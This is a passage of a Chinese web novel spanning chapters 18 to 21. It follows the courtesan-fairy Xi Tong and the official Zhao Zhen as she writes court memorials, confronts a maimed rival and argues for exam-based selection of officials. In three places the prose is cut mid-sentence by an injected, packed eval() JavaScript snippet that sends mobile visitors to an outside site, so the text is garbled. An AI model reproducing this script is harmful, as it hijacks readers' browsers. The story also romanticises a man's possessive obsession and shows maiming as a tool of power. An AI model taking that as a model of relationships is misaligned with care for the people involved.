奚瞳嘴上没说什么,心里已经开始大骂特骂,她方才居然还在同情、心疼这个死变态,她绝对是仙女当得时间太长导致善心太过泛滥,她一片好心提醒他要在仕途上规避风险,又满心诚意祝福他抱得美人归。结果就换来他这么抽风,活该他仙缘尽碎,臭赵狗!而且他的手怎么会那么凉啊!他是死的吗?!死臭赵狗! 奚瞳揣着一肚子气走了。 赵臻则回到书案之前继续写公文。 长夜漫漫,烛光之下,颀长的身影偶尔晃动,那是影子的主人时不时挺腰直背的缘故。 那模样,认真得像初学习字的孩童一般。 18.第 18 章 程冲的案子,陆忧办得极漂亮。 面对程冲这种背后势力盘根错节的犯人,主审若心智不坚,很容易让情绪压过理智,最终被犯人的巧舌如簧牵着鼻子走。 但陆忧显然没有,他没有给程冲太多自辩的机会,而是顺着林载从百人坑中挖出的证据往深出调查,铁证越来越多,一桩桩摆在程冲面前,让他辩无可辩,最终所有的求生欲都化作一声声口齿不清的“我要见大司徒!我要见周大人!” 他当然有见大司徒的机会。 于公,此等大案,要送回京中由廷尉府做终审。 于私,程冲是赵臻和周正的第一轮斗法,赵臻很想看看周正会怎么选择,是公然与他撕破脸,保下程冲和他多年以来为周家囤积的势力;还是弃车保帅、断尾求生,拉拢他这上任不久就剑拔弩张的太傅。 “蓉州和四邻州府涉案的这些世家,把柄都在程冲手上,而且也确然从他手上得了好处,如今程冲被咱们押了,他们未必不急,若他们下了决心要帮周家,你当如何,可有准备?”林载有些担忧。 不等赵臻说什么,陆忧便答:“我看未必。程冲性情乖戾,杀人吃人都不在话下,对待这些有求于他的人,姿态难道会好看吗?这些人明里暗里不知从他那里受了多少侮辱,吃了多少苦头,心中未必不怀恨。而且求官的人当中,品行败坏之人的确是有,但如苏木一般有真才实学的也不少,他们心里清楚,太傅大人既敢动程冲,就不会是冲动行事,况且,法不责众。这十数年间,他们中的很多人已经在地方上做出了政绩、积攒了名望,足够明哲保身了,他们未必会再回头来掺和这桩案子,在一旁观望的可能性更大一些。” 赵臻满意颔首,陆忘名蛰伏虹州这些年,到底不算荒废。不过林载的担忧不无道理,赵臻已经暗中联络了几个受惠于程冲的世家,这些人就是陆忧所说的,有些真才实学的人。 赵臻带去的话很简单,就一句“水至清则无鱼,赵某明白”。至于剩下的,就看这些人,够不够聪明了。 案子审得顺利,回京的准备也做得充足,可到底还是有一桩事惹到了赵臻。 杀了那个书吏之后,整个蓉州太守府,竟再也找不到一个会写笺疏(注)的人了。(注:可以理解为奏章,工作报告) 赵臻位高权重,有什么事当面就跟陛下太后提了,不曾写过笺疏;林载是武将,平日里写的是军报,同笺疏的写法大有不同;陆忧初入朝堂,父亲陆珩虽做过朝廷命官,但也没教过他这份差事。而太守府里其他书吏,倒是有人试着写了呈上来,但语句不通,格式不对,赵臻只看一眼便传令下去,如今纸张是金贵物,若是太守府的纸实在用不了,就放到村头茅厕,也总好过这样白白浪费。 这话多难听啊,而且赵臻动不动就杀人,书吏们自然就没有再敢逞强的了。 此刻赵臻、陆忧、林载这三位人中龙凤在书房里遣词造句研究笺疏,奚瞳又提着她的食盒进来了。 她最近时常来找赵臻吃饭,为的是监督他。 赵臻口腹之欲极其淡薄,或许是天气热的缘故,他这两天吃得格外少,让奚瞳一时拿不准是她在修仙还是他在修仙。 吃得少,脾气又不好,这样下去很不利于赵臻存活,奚瞳来人间的目的就是希望让他平安富贵长命百岁,为了赵臻,也为了她将来的神位,她必当尽心竭力。 恰巧紫虚厨艺又那样好,奚瞳就借花献佛,日日来陪赵臻吃饭。 赵臻和林载似乎已经习惯了奚瞳每日到来,奚瞳在小几上布菜,他们两个毫无反应。 倒是陆忧似是有些意外,也有些介怀,他时不时看向奚瞳。 片刻过后,赵臻注意到陆忧的目光,神色才有些冷下来,语气倒是一派随性:“今儿个吃什么?” 这是在问奚瞳,但他并未看向她。 奚瞳手上的动作同样没有受到任何影响:“瓦罐闷肉,菜心小豆腐,菊花茄子,鲜虾疙瘩汤。两人的对话熟稔默契地像是已经相处多年了,这让陆忧心中生出不悦和些许涩意……奚瞳,明明是他府上的人。 “别忙了,先来吃饭。” 三人纷纷过来,奚瞳也不理他们,径直拿了碗筷吃起来。 赵臻林载习以为常,陆忧倒是惊讶,奚瞳居然坐在这里跟他们一起吃,倒衬得她如主人,他们才是客人了。 因为心中有事,三人这饭吃得愁绪满头。 奚瞳察觉到几人的情绪:“怎么了?程冲的案子出问题了?” 林载嘴快:“没问题,就是笺疏没人写。” “为什么?太守府的人不想写?还是不敢写?” 林载摇头叹息:“是不会写。” 奚瞳抬眼看着他们三人,登时就明白了,这些做大官的,往往都不会基层的差事。 她做公主的时候也不会写笺疏,但做司酒仙女这些年,她可太会了。她还因为笺疏写得好被天帝在全体仙君大会上点名夸奖过呢。 奚瞳笑了笑:“先吃。待会儿我写。” “你?”赵臻这才挑眉望向她,带着些嘲讽。 “我怎么了?”奚瞳歪了歪头:“你还有更好的人选吗?死马当活马医呗。” 虽说三人都不愿相信身为伎子的奚瞳有写笺疏的本事,但她夸下了海口,自然引得他们好奇。 奚瞳吃饭细嚼慢咽,十分优雅,三人等着她展示才艺,到了这顿饭的后半段,空气里弥漫着一股隐隐约约的焦躁。 奚瞳终于吃完了,抬手想要收拾碗筷。 赵臻冷冷道:“放着让别人来。” “哦。” 奚瞳正好最讨厌洗碗,倒是乐得轻松。 她擦干净手,来到书案旁,脱了鞋履,坐上蒲团,给自己研好了墨,取了一张纸,用羊脂玉的镇纸将其压得平平整整,理了袖子,露出纤细的手腕,提笔开始写字。 她这一套动作极为娴熟,也极为优美,让赵臻三人有些震惊,这风姿做派,当今许多世家小姐未必能及,奚瞳……像是读过书的。 当中最为震惊的是陆忧,奚瞳在陆家妆房那不到一个月的时光里,他也去给伎子们上过几回课,教她们识文断字。奚瞳要么直接不参加,要么就伏案大睡,他一直以为她不喜欢读书,可原来,竟是嫌他教得不好吗…… 陆忧心口不觉有些发闷。 若说奚瞳的姿态已经让三人震惊,那她落笔之后,便堪称让他们骇然了。 奚瞳的字……写得未免太凌厉了些。 没错,是凌厉。 女子的字,哪怕是大家族里的才女,也多是娟秀样貌,但奚瞳的字,字骨挺拔,笔锋老辣,勾回之间,似是飒飒有风。 赵臻此人虽因与太后之间的桃色传闻毁誉参半,但文人墨客都赞他写得一手好字。 若说赵臻的字如山间苍翠的松柏,那奚瞳的字就是亘古不阿的长剑,她仿佛已经写了几百年。 赵臻的瞳孔慢慢收缩,她只有十九岁,怎么会写得一手这样的字。 她到底是谁……她的背后究竟是什么人……到底是什么人,能调/教出这般的女子…… 心中的震惶使得赵臻心跳加速,而且最令他无措的是,他心里正慢慢燃起一股别样的情愫,渐有沸腾之态。 他终究不能抵抗汹涌的情潮,逃避似的,他微微低了头,可刚一垂首,他便看到,奚瞳此刻跪坐在蒲团上,一双玉足被她的身体压着,蒲团边缘露了白嫩的脚趾出来。 她只穿了鞋履,却不曾穿袜子,赵臻咬牙,这女子,当真……当真没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12823745|132677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有规矩,女子的双足怎能随意示人! 赵臻心中咒骂着她不知廉耻,可在情潮之外,又无法克制的生出了些些欲念。 他脑海中飞速回想着他这一生经历的剧痛与悲苦,靠着苏醒的恨意,才渐渐战胜了自己的本能。 而桌案边的奚瞳此刻神情专注得很。 她不穿袜子并非存了什么心思,只是如今入夏,蓉州湿热,她本来就贪凉,在长秦王宫的时候她是公主,宫里的男子尽是她的血脉至亲,她在自己的住处想穿什么就穿什么;后来去了天庭,仙人讲究的是道法自然,只要没有妨碍别人,穿着之上更是随性。 不穿袜子对于奚瞳来说,只是生活习惯问题,跟道德水平没有丝毫关系。 所以奚瞳对赵臻此刻的天人交战浑然不觉。 她一边写,一边自顾自说道:“程冲这案子,自州府起,要上报给三处,所以要写三份笺疏。一份交给陛下,一份交给临朝的太后,还有一份交给最终审理案件的廷尉府。但这三份笺疏不能完全一样。给陛下的这一份,是要群臣共阅的,遣词要严谨,但问题点到为止,否则陛下和朝臣知道得太细,难免就要挑你们的错处,容易引火烧身。给太后娘娘的这一份,除了对案子的概述,要尽可能谦卑,还要适当地讨好,陛下年幼,太后是如今真正的话事人,此案一旦有什么差池,太后不出面帮你们,你们也是寸步难行。至于廷尉府,则要实事求是,极近详实了,这样能让他们尽快梳理案件,省去许多麻烦,也能让他们知道你们对这案子的态度。” 奚瞳的身后鸦雀无声,赵臻的神色晦暗不明,只一双眼睛幽深如沉渊,至于陆忧和林载,则被奚瞳吓得说不出话来。 单就这份对笺疏的认识,是多少当世鸿儒所不如的…… 奚瞳写得流畅,心情自然也舒坦,话匣子打开了,就有些受不住:“笺疏这种文体,以赵臻你的官位,其实用不太上。林载掌管禁军,也不需要精通。但是陆忧,你要学。司隶校尉监察百官,将来会有很多写笺疏的机会,你要写得漂亮才行。” 说到这里,奚瞳回过神来,猛然顿住了。 不好……她写上头了……她恍惚了…… 以前她在长秦王宫时,因为兄弟们不争气,宫中的老师就十分喜欢她。老师们年纪大了,难免有头疼脑热缺课的时候,每当此时,他们便会请旨,让奚瞳代为教授年幼的皇子和公主。 奚瞳很喜欢闻道授业解惑的感觉,有时兴之所至,还允许各宫奴才旁听。 赵臻就经常去听她讲课,她还时常出题刁难赵臻…… 可此一时彼一时啊,那时候她是公主,现在她一个家伎,端这副为人师表的架子,也太分不清大小王了…… 冷汗顺着她额头滴下来,她用力挤了一个平生最为谄媚的笑容,回头望向赵臻,声音堪称娇媚:“太傅大人,陆大人,您二位说,是不是呀?” 陆忧林载心潮难平,赵臻恨不得当场就抹了奚瞳的脖子,她这副讨巧卖乖的模样,是跟谁学的?!她平日对他再没规矩,再放肆,也从未对他这样笑过,怎得今日冲撞陆忧两句,便这样伏低做小。她将他当做什么?! 这女子该杀!陆忘名……若不是还有用得到他的地方,他也该杀! 可最终,赵臻只是让陆忧和林载先下去,继而扯过了一旁衣架上的薄披,扔到了奚瞳跪坐着的腿上,刚好将她腰以下的身子全然盖住。 奚瞳不解。 “下次再不穿袜子随意走动,我砍了你的腿!”说罢,赵臻也拂袖而去。 奚瞳望着赵臻的背影,还是满头官司,这不是他们议事的地方吗,怎得他们都走了? 她又盯着桌上写好的笺疏。 所以他们对她的差事,到底满不满意啊…… 19.第 19 章 奚瞳一口气写了三份笺疏,神思疲倦,回到厢房里不一会儿便酣睡起来。 赵臻这一夜却睡得极不安稳。 他睡前将她的字看了十数遍,苦苦寻找着她笔划里除却才华之外的有关阴谋的气息,他不相信她毫无身份,否则一个自幼行乞,卖身为伎的女子,怎么会有这样的能力与见识,怎么会有那样挺拔的脊梁和绰约的身姿。 所以她究竟是谁…… 赵臻又做梦了,一时是城墙上起舞的她,一时是烛光下挥毫的她,一时是裸着玉足、欺身对他媚笑的她…… 天际泛白,鸡鸣三声,赵臻醒过来。 他坐起身子,腰背不由僵了僵。怎么会…… 他感到裈裤的中央一片濡湿,带来令人不舒服的触感,同时也带来耻辱。 他的耳际红透,睫毛上有因为初醒和情动沾染的水迹,可眼底却苍冷极了,带着恨。不知道是在恨自己,还是恨那个让他如此狼狈的女人。 他在晨曦里呆坐许久。 最终,他心底有个声音缓缓浮现,那是他自己的声线。 “不管你是谁的,你以后只能是我的。我要把你锁起来,藏起来……永远,永远。” …… 南厢房,奚瞳在自己的床上睡成一个写歪了的“大”字,嘴角挂着有些憨厚的笑意,天虽然亮了,但她人睡得正香,甚至还说了一句含混的梦话:“紫虚,我想吃荠菜肉丝面……好香啊……赵臻那个狗,也很喜欢荠菜……” 梦里她似乎真的吃到了这一道美味,话说完甚至还发出了“呵呵”的笑声,全然不知她在某人的梦里,是怎样一副妖媚惑心的模样。 …… 奚瞳是中午醒过来的,紫虚真的给她煮了面,只不过不是荠菜肉丝的,而是白菜鲜虾蛤蜊的。 奚瞳这次没有去找赵臻,因为紫虚进来的时候说,明天一早他们便要启程回京,今天下午要好好收拾行李。 奚瞳打算下午出去逛一逛,蓉州的肉脯特别出名,而且因为是腌制的,所以能放好久,赶路那般辛苦,又不能像在太守府这般开小灶做饭,她要多买一点肉脯,路上打牙祭。 “对了姐姐。”一碗面快吃完的时候,紫虚开了口:“绿绮姐姐和若妍回来了。” “哦。”奚瞳应了一声:“她伤好了吗?” “我瞧着她瘦了一些。不过若妍特地过来了一趟,让我转告你一声,说绿绮心中苦闷,让你多担待她些,还有就是也不要专门去寻她了,免得起冲突。” 奚瞳将手中的碗筷放在桌上:“这话听着,怎么像是我招惹她了似的。” 奚瞳本来就是想去看看绿绮的,程家那天的事,她和绿绮之间总得有个说法,另外大家好歹也相处了一些时日,相识三分情,绿绮身受重伤,如今痊愈,她于情于理应当去问候她一下。 若妍垫了这句话,她就更想去了,她清清白白一个人,可不能让人平白诬了一身债去。 说时迟那时快,奚瞳起身便朝绿绮若妍的厢房走去,紫虚根本拉不住,只好跟在后面。 绿绮和若妍已经吃过饭了,正在收拾明日出发的行装。 说是收拾,其实只有若妍一个人在忙活,而绿绮则是坐在铜镜之前,专心端详着自己。 镜中的容颜不施粉黛,甚至有些病后地苍白,但依旧妍丽无双,只是眼睛里的光泽淡了一些,透着一股隐约的麻木。 绿绮看着看着,双眸突然亮起来,却不是喜悦的光,而是怨恨和刻毒,因为镜子里出现了奚瞳的身影。 绿绮伸出左手,从妆龛里取了胭脂,用指腹在自己的脸颊轻轻晕染着。 若妍见奚瞳来了,有些紧张慌乱地站起来。 绿绮却看着镜子里的奚瞳,笑了:“我知道你会来。你装作什么都不在乎的样子,可你怎么会什么都不在乎,看到我如今这样,你一定很得意吧?” 奚瞳蹙眉,她得意什么?于是她好好打量起绿绮,就在此时,她身后的紫虚暗暗发出一声惊呼,很快,奚瞳就知道了紫虚惊呼的理由。 绿绮右边的水袖垂到地上,夏日微风穿堂而来,水袖迎风而起,大半袖管,空空如也。 她……她右边的胳膊…… 胭脂让绿绮的面容有了更为夺目的光彩,她翩然起身,向奚瞳走过来。 待走近了,她左手缓缓撸起右边的袖子,一条残肢暴露在奚瞳眼前。 “肘部以下,被砍断了。”绿绮笑了,极其阴森:“托你的福啊,我没有右手了,再也不能弹琴写字了,你是不是很高兴?” 奚瞳的面色发沉,绿绮虽然身份低微,但她的胳膊不是谁想砍就能砍的。 而如今的这些人里,能断她一只手的,只有两个人,一是赵臻,二是陆忧。 陆忧性情温润,又在乎名声,不会做这种事,所以绿绮如今断臂,一定是赵臻的意思。 果然,绿绮下一句话就道:“是我小看了你,我一直以为你只是对二公子有意,可不想所有能用来登天的阶梯你都不放过。可笑啊,居然还真让你攀上了高枝,太傅大人竟能为了你这样一个贱人,断我的手。” 奚瞳听到这里,便知道绿绮对她已经恨入骨髓,再说什么都没有用:“承桑绿绮,赵臻狠辣不假,但你若安分守己,他绝不会拿你怎么样。若非那一夜你害我,差点坏了他的大事,他也不会……” “我是用药迷晕了你。”绿绮的笑容彻底不在:“可我从未想过要真的伤你害你。那一夜如果没有我,你早就被……” “你没有想过害我?”奚瞳的声音平静极了:“你明知道如今世道贞洁对女子何其重要,可你仍旧要让大家看到我失贞的样子。你救我,是因为你知道,程冲折磨我之后,下一个就是你,所以救我,等同于自救。至于你后来做的事,你哪里想过给我活路啊。承桑绿绮,别骗自己了。” 说到这里,奚瞳顿了顿:“我想过同你冰释前嫌,但现在看来,不必了。” 一言至此,奚瞳转身要离开。 绿绮却大笑起来,笑着笑着,眼角就有泪落下来:“奚瞳,二公子答应我纳我为妾了。你那般讨好太傅大人和二公子,可太傅大人只拿你当伺候用饭的奴婢,二公子更是不要你,要了我。你很嫉妒吧。” 奚瞳回头看她一眼:“疯子。” 待奚瞳走后,绿绮再也止不住眼泪:“疯子……疯子……我这样,还不是被你们害的!” 若妍揽住绿绮:“绿绮,你别哭了,别这样……” 绿绮伏在若妍怀里,痛哭不止。 她又想起那个恐怖的雨夜。 陆忧从厨房里拿了剁猪骨的短刀,敲开了她的房门。 他心痛、挣扎,却不得不遵循太傅大人的命令。 她的右手离开身体的时候,指尖还在微微颤动着。 她疼得几乎要晕过去,陆忧连夜将她送去了医馆。 那是他第一次抱她,抱得那样紧,那样久,他的下颌抵着她的脸颊,用他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12857473|132677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的愧疚抚慰着她身体和心灵上的剧痛。 就在那样恐怖的夜晚,承桑绿绮在生死一线参透了两个道理:原来权力是这样的东西,它力量滔天,摧枯拉朽,像她这样的女子,在权力脚下,不过蝼蚁;原来一个男子的愧疚,能带来这样深情的温柔,所以,只要好好利用这份愧疚,她说不定能得到她梦寐以求的东西。 在医馆的时候,她数次因为疼痛而昏厥过去。 陆忧除却审案,一有闲暇就会到医馆陪伴她。 陆忧动手之前,承诺过她会补偿她,在她伤势见好之时,她提出了条件。陆忧虽有迟疑,但最终还是点了头。 她会成为陆忧的妾室,也是唯一的妾室。她终于,这一生都是他的女人了。 有了这份愧疚在手,她有信心可以打败陆忧那个尚未露面的妻子,她会成为大盈王朝的第二个芳夫人,甚至有过之而无不及。此后的岁月,所有高居亭台的男儿都会向她投去欣赏的目光,而所有流落贱籍的女子会用她们的一生去仰望她、追逐她。 至于奚瞳,一个下贱的伎子而已,注定此生都被她踩在脚下。 绿绮在若妍怀里渐渐平静下来,她不哭了,她要笑。 胜利者为什么要哭呢,要笑才对。 她又坐到了铜镜之前,细细描摹修复着她因泪水而斑驳的妆容。 若妍看着她,痛惜摇头。 …… 次日辰时,车队出发,前往京城。 赵臻派了武功高强的暗卫走小路路押解程冲,他们这群人则走官道。 奚瞳被赵臻叫过去同乘,赵臻的车辇比其他车辇宽大舒服很多,奚瞳自然高兴,拉着紫虚便去了。 赵臻看到奚瞳身边还跟着一个,不由气闷,索性不说话,捧着一本书看起来。奚瞳则宾至如归,将准备好的肉脯给了林载一份,又将一个油纸包放到了赵臻身边。 林载也是贪吃之人,自然高兴,赵臻则似是没有看到一般,不理会奚瞳。 奚瞳一边小口吃着肉脯,一边看赵臻,绿绮的事,她本来想告诫一下赵臻。虽说他是帮自己出气,但完全没必要下手这么狠,毕竟她也没受什么伤。 奚瞳并不是心疼承桑绿绮,而是重典之下,掌权者难有贤名,赵臻做太监时就吃了性子阴郁的亏,让全天下都以为他是个反派。这辈子好不容易零件齐全,身居高位,总不能吃一堑,再吃一堑吧。 可奚瞳又想了想,赵臻这么仗义,她却挑起他的毛病来,实在不应该,于是便也将肚子里的话暂且搁置了。 沉默了许久,奚瞳觉得有些无聊,蓉州到京城路途遥远,他们要走十几日,若一直这样,可怎么熬啊。 本来还能和紫虚说说话,可紫虚觉得赵臻长得凶,有些怕他,便也默不作声,林载倒是多话之人,但奚瞳跟他实在没什么共同语言。 奚瞳硬撑几个时辰之后,实在有些撑不住了,她拿起一块梅渍牛肉脯,放到赵臻嘴边:“赵臻,我闷得慌,你陪我聊天好不好?” 赵臻终于看向她,奚瞳此刻赔笑,眼睛又弯成了月亮。 赵臻最恨她这副模样,漂亮得让人想狠狠捏她的脸,好掀开这张面皮,看看这副纯真的样貌底下是怎么一个妖精。 他心中愤愤看了她许久,直到她的笑容变得疲惫,就在她笑容散开的前一刻,赵臻张口含住了她递来的肉脯。酸甜咸鲜的肉香混着软糯的口感在他口腔里漾开,这让他心情好了不少。 “聊什么?”他问。 20.第 20 章 奚瞳原本已经有些发僵的嘴角又弯起来:“赵臻,你觉不觉得,现在朝廷选拔官员的方式挺草率的。” 林载瞪大了眼睛,你这个小姑娘也挺草率的。好家伙,太后都不敢这么直接议论朝政啊,不要命了?! “我说小瞳瞳。”林载由衷道:“有时我真不知你是脑仁儿缺失,还是多长了肝胆。” 奚瞳:“我……” 赵臻:“你叫她什么?” “小瞳瞳啊。”林载理直气壮,发现赵臻神色不对,赶忙软了态度:“那要不叫小瞳?不行啊……那瞳瞳?阿瞳?小阿瞳?” 赵臻的脸越来越黑,林载烦了,转头问奚瞳:“那你说,我叫你什么。” 奚瞳在心里脱口而出:叫我女王。但她知道,她要是真的这么说赵臻肯定会砍了她的头用来蹴鞠。 于是她便道:“叫我奚姑娘或者奚瞳就好,不用装作亲近的。” 林载捂脸:“最是无情女人心啊,好歹咱们也认识两个月多了……” 奚瞳笑了笑。 赵臻因为奚瞳的回答心情也好了不少,可脸上还是装作肃然:“草率?那你说说,如何才不草率?” 林载心想,真是一个敢说一个敢接,卧龙凤雏。 奚瞳的神情认真起来,自从知道了程冲这个案子,她就一直想跟赵臻说这事儿来着。 “你不觉得由中正官进行定品,很难确保公正吗?还有那个什么举孝廉,更不靠谱。” “怎么说?” “我刚到虹州的时候,就听说了两个故事。一个叫卧冰求鲤,一个叫黄雀入幕,都是大孝子的故事,还说的是同一个人,你知道吗?” “自然。”赵臻答。 奚瞳接着道:“母亲冬天想要吃鱼,这人就脱了衣服躺到结冰的河上,把冰化开然后捞鱼给母亲吃。母亲又想吃黄雀,黄雀早早听说了卧冰求鲤的故事,感怀于此人的孝心,不用他多言语,它们自己就飞到他家里,争做食材了。你觉得这两个故事说明了什么?是说明了这人有孝心吗?” 赵臻嘴角弯起淡淡弧度:“不然呢?” “哇,你真相信啊。”奚瞳咋舌:“那我可就要重新评估一下你的智慧了。” 明明是句讽刺的话,但赵臻听了却有些开怀,他的笑容更深一些:“不是孝顺,那说明什么?” 奚瞳叹气:“说明他家这老太太是真馋啊……” 听到这里,赵臻的眉眼因为笑意有些弯起来,林载更是没绷住,大笑不止。 奚瞳却没有心思笑,而是认真道:“你看,一个人孝顺与否,是可以伪装的。自古大奸之人,毅力与韧性未必输给大贤,装一辈子孝顺,也是有可能的。所以举孝廉根本靠不住。至于定品,程冲的事你也看到了,中正官一个不正,底下的人就一窝不正,你料理他们,看似简单,其实也花了不少心思吧。” 赵臻的笑容淡下来,他盯住奚瞳的眼睛,有审视,也有欣赏:“那你说,应当怎么办?” “出题考校他们呗。”奚瞳道:“由郡县到州府,层层出题,层层考校,通过考校的人便到京城,参加最后的考核。不管从哪里来,最后这一层的考题,大家都是一样的,只有通过这层试炼,才能进入朝廷做官。考得越好,官职越高。” 赵臻搓着他手上的扳指:“听起来还不错。” “还有,做文官就考诗书礼乐,做武官就要考骑射兵御,要有所分别的。” “说完了?”赵臻问道。 奚瞳对自己的建议很满意:“说完了。” 赵臻的还是微微笑着,声音也和缓,只是眼睛里有了冷意:“奚瞳,你说的这些,是谁教你的?” 奚瞳怔住了,是啊,她一心想帮赵臻实现他的理想,成就他的霸业,却忘了她在他眼里不是什么长秦公主、不是什么司酒仙女,而是一个贱籍之中的年轻伎子。 “我……是我以前在虹……虹州……” “又是那个老乞丐?”赵臻的微笑变得凛冽:“奚瞳,普天之下,莫非王土,你也太小看我了。虹州若真有这样的隐士,我一定不会错过他。” 奚瞳低了头,她相信,相信赵臻部署眼线的能力。就凭赵臻看似只带林载出行,可顷刻之间,暗卫便能从四野窜出,控制程家和太守府,人数之多,行动之周密,堪称骇人。 赵臻在虹州和蓉州两地的安排,绝非一日之功。 奚瞳对于官员考校的这个想法,的确有人指点。 长秦当年的官员选拔制度,比如今的大盈还要草率,连中正定品和举孝廉都没有,近乎就是世袭制的。 赵臻做了枢密使后,便着手对这种制度进行改革。 这当然大大触犯了世家的利益,当时长秦王上沉迷酒色,太子不学无术,那些高门大户的老头儿没有办法,便一股脑涌进了公主府,求公主给他们个说法。 他们闹了足足半个月,闹得奚瞳头疼不已。 她本不想掺和这件事,因为赵臻的举措,她本心里很赞同。这也是那时候,她唯一一次与他不谋而合之事。 可世家的反应太大,为了朝堂稳固,奚瞳不得不出面调停。 她本意是想劝赵臻,让他徐缓图之,可赵臻当时刚被她杖责过,伤好了没几天,便对她极尽讽刺之能事,气得奚瞳甩手就走。 三日之后,朝廷一笔赈灾粮出了大问题,赵臻顺杆子查下去,查到最后,雷霆一怒,杀了一个靠着世袭爵位做官、但极其懒政的年轻公子。 按理说懒政之罪,罪不至死,可这位世家公子偏偏是奚瞳刚定下的还未成婚的驸马。 这让奚瞳怎么想?这不就是赵臻借机寻仇吗? 不过奚瞳也因为这件事,装作伤心至极大病一场,躲过了世家的骚扰。 最终赵臻的改革勉强得以推行,可也在世家和奚瞳心中,种下了怨恨的种子。 时如白驹,奚瞳如今想想,赵臻当时杀那个准驸马,或许并不是为了报复她,毕竟奚瞳同那人是父母之命,没什么感情可言。赵臻这样做,除了杀鸡儆猴、威慑世家之外,或许也是为了让她能有个理由闭了公主府的门,免遭打扰。 可奚瞳不明白,他为什么要这么做呢?为什么要将她从那场原本危险的朝廷风暴中择出来。 他明明那么讨厌她…… “奚瞳,回答我!”赵臻见奚瞳又平白发起了呆,心中便有些动了气。 奚瞳抬头,眼前男子的容颜和记忆中的那张脸渐渐融合,她低声回答:“一个……故人。” “故人?”赵臻冷笑:“又是你所说的那位所谓的仇人吗?” 赵臻脖子上的筋络硬起来,认识奚瞳这些日子,除却老乞丐,她便只提起过一位故人,就是送她发簪、待她不错的那个仇人。 这次不会又是他吧……赵臻愤愤想。 可下一刻,他便听奚瞳回答:“嗯。是他。” 车辇内彻底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许是天热出汗多,她身上似是有些痒,一只手伸向后背抓抓挠挠。样子在狼狈和滑稽中又添了些可怜,还有些可爱。 赵臻黑了一路的脸变得和缓了一些,奚瞳此时也看向他,赵臻心中发笑,她这是什么表情,跟被翻了肚皮不高兴的小猫一样。 不过……赵臻想,她这副表情,还挺讨人喜欢的。 奚瞳累得很,两个时辰一步不停,她算是明白为什么犯了重罪的人要处流放了,流放,确实严酷。 奚瞳有些蹒跚往客栈里走,绿绮远远看见她,讥讽一笑。 若妍则走过来扶她:“你还好吧,我不是记得你去太傅大人车辇上伺候了吗?怎得成了这幅样子?” 奚瞳没有说话,指了指前面的赵臻,又看着若妍,指了指自己的头:“他啊,这里有毛病。” 而赵臻就像后头长了眼,登时看过来,吓了若妍和紫虚一个激灵。 “过来。”赵臻道。 奚瞳翻了个白眼,但还是乖乖跟了上去。 赵臻走在前面,听着身后奚瞳的步履和鼻息,心中生出决心。 仇人如何?故人又如何?反正那人已经死了,而他还活着。 总有一天,他会让她将那人忘得干干净净,总有一天,她的心里眼里,全都是他,只有他。 21.第 21 章 蓉州多山水,淡化了盛夏的炎气。自打出了蓉州地界,便天干物燥,暑热难耐了。 奚瞳一路走来,觉得自己和炙羊肉的区别无非就是一撮盐巴。热就算了,赵臻这狗还不让她休息…… 一路跟赵臻去了厢房,他倒是袍裾一掀,坐得潇洒,奚瞳腿都要走掉了,自然也寻了个凳子。 腿刚打了弯,屁股还没落到实处,就听赵臻说:“让你坐了吗?” 奚瞳的好脾气已经到了极限:“你不要太过……” “先去沐浴。” “啊……?”奚瞳一拳打到棉花上。 “满身尘土,一身臭汗,看着就碍眼。”赵臻不耐垂眸。 奚瞳心道,我这狼狈模样都是拜谁所赐啊,但到底没有发作,只撇了撇嘴:“净房在哪。” “没有净房。” “没有净房?那我去哪里沐浴?” 赵臻用下巴指了指方向,奚瞳望过去,只见一道四扇锦的屏风立在厢房一侧,屏风绣面半透,里头隐约可见一个木桶。 奚瞳当下便有些炸毛:“你要我在你房里洗澡?!” 赵臻没有否认。 “我不要!”奚瞳转身就走,却听身后的赵臻说道:“待会儿会有人送冰鉴过来,整个驿站,只有我这房间里,有冰鉴。” 奚瞳狠狠踟蹰了。 她非常怕热。 天庭有雷公电母风师雨师,对气候的把控很严格,以至整个仙界十分宜居,奚瞳甚至觉得成仙最大的收获不是什么长生不老,也不是什么太上忘情,而是有了一处永久的冬暖夏凉的住所。 正所谓由俭入奢易,由奢入俭难,她过了五百年舒服日子,如今重回人间过夏天,一时难以适应,她已经连着好多天因为燥热睡不好觉了。冰鉴对她真的很有吸引力。 见奚瞳呆呆站住了,走也不是,留也不是。 赵臻知道她在担心什么,忍不住哼一声:“你也未免太瞧得起自己,我还没有饥不择食到这种程度。” 奚瞳愤愤想,我怎么了,我虽不甚貌美,但也很有魅力的好不好。南北天门那几个守卫、太上老君府上喂坐骑的小仙君,哥几个对我爱而不得好多年呢。赵臻真是很没品味。 愤愤归愤愤,但奚瞳心里头知道,赵臻万般讨人厌,唯有一点好,他是个守信用的人。说好了不会碰她,就一定不会碰她。 于是她便迈开了步子,走到屏风后头,这才发现热水已经备好了,旁边还放了皂角和和花瓣,衣架上也挂好了换洗的衣物。 